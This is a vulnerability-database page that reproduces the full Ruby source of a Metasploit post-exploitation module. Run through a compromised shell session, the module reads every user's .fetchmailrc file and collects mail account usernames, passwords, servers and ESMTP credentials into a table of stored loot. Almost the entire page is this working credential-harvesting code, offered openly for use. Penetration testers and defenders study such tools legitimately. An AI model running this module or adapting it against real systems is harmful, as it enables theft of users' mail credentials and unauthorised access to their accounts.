Lucene search
+L

UNIX Gather .fetchmailrc Credentials

🗓️ 12 Feb 2012 19:24:21Reported by Jon Hart <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 44 Views

UNIX Gather .fetchmailrc Credentials Post Module to obtain credentials saved for IMAP, POP and other mail retrieval protocols in fetchmail's .fetchmailr

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UNIX Gather .fetchmailrc Credentials',
        'Description' => %q{
          Post Module to obtain credentials saved for IMAP, POP and other mail
          retrieval protocols in fetchmail's .fetchmailrc
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
        'Platform' => %w[bsd linux osx unix],
        'SessionTypes' => [ 'shell' ]
      )
    )
  end

  def run
    # A table to store the found credentials.
    cred_table = Rex::Text::Table.new(
      'Header' => '.fetchmailrc credentials',
      'Indent' => 1,
      'Columns' =>
      [
        'Username',
        'Password',
        'Server',
        'Protocol',
        'Port'
      ]
    )

    # walk through each user directory
    enum_user_directories.each do |user_dir|
      fetchmailrc_file = ::File.join(user_dir, '.fetchmailrc')
      unless readable? fetchmailrc_file
        vprint_error("Couldn't read #{fetchmailrc_file}")
        next
      end
      print_status("Reading: #{fetchmailrc_file}")
      # read their .fetchmailrc if it exists
      lines = read_file(fetchmailrc_file).each_line.to_a
      next if (lines.size <= 0)

      print_status("Parsing #{fetchmailrc_file}")

      # delete any comments
      lines.delete_if { |l| l =~ /^#/ }
      # trim any leading/trailing whitespace
      lines.map(&:strip!)
      # turn any multi-line config options into a single line to ease parsing
      (lines.size - 1).downto(0) do |i|
        # if the line we are reading doesn't signify a new configuration section...
        next if ((lines[i] =~ /^(?:defaults|poll|skip)\s+/))

        # append the current line to the previous
        lines[i - 1] << ' '
        lines[i - 1] << lines[i]
        # and axe the current line
        lines.delete_at(i)
      end

      # any default options found, used as defaults for poll or skip lines
      # that are missing options and want to use defaults
      defaults = {}

      # now parse each line found
      lines.each do |line|
        # if there is a 'default' line, save any of these options as
        # they should be used when subsequent poll/skip lines are missing them.
        if (line =~ /^defaults/)
          defaults = parse_fetchmailrc_line(line).first
          next
        end

        # now merge the currently parsed line with whatever defaults may have
        # been found, then save if there is enough to save
        parse_fetchmailrc_line(line).each do |cred|
          cred = defaults.merge(cred)
          if (cred[:host] && cred[:protocol])
            if (cred[:users].size == cred[:passwords].size)
              cred[:users].each_index do |i|
                cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]
              end
            else
              print_error("Skipping '#{line}' -- number of users and passwords not equal")
            end
          end
        end
      end
    end

    if cred_table.rows.empty?
      print_status('No creds collected')
    else
      print_line("\n" + cred_table.to_s)

      # store all found credentials
      p = store_loot(
        'fetchmailrc.creds',
        'text/csv',
        session,
        cred_table.to_csv,
        'fetchmailrc_credentials.txt',
        '.fetchmailrc credentials'
      )

      print_status("Credentials stored in: #{p}")
    end
  end

  # Parse a line +line+, assumed to be from a fetchmail configuration file,
  # returning an array of all credentials found on that line
  def parse_fetchmailrc_line(line)
    creds = []
    cred = {}
    # parse and clean any users
    users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten
    unless users.empty?
      cred[:users] = []
      users.each do |user|
        cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '')
      end
    end
    # parse and clean any passwords
    passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten
    unless passwords.empty?
      cred[:passwords] = []
      passwords.each do |password|
        cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '')
      end
    end
    # parse any hosts, ports and protocols
    cred[:protocol] = ::Regexp.last_match(1) if (line =~ /\s+proto(?:col)?\s+(\S+)/)
    cred[:port] = ::Regexp.last_match(1) if (line =~ /\s+(?:port|service)\s+(\S+)/)
    cred[:host] = ::Regexp.last_match(1) if (line =~ /^(?:poll|skip)\s+(\S+)/)
    # a 'via' option overrides poll/skip
    cred[:host] = ::Regexp.last_match(1) if (line =~ /\s+via\s+(\S+)/)
    # save this credential
    creds << cred
    # fetchmail can also "forward" mail by pulling it down with POP/IMAP and then
    # connecting to some SMTP server and sending it.  If ESMTP AUTH (RFC 2554) credentials
    # are specified, steal those too.
    cred = {}
    cred[:users] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtpname\s+(\S+)/)
    cred[:passwords] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtppassword\s+(\S+)/)
    # XXX: what is the best way to get the host we are currently looting?  localhost is lame.
    cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost')
    cred[:protocol] = 'esmtp'
    # save the ESMTP credentials if we've found enough
    creds << cred if (cred[:users] && cred[:passwords] && cred[:host])
    # return all found credentials
    creds
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation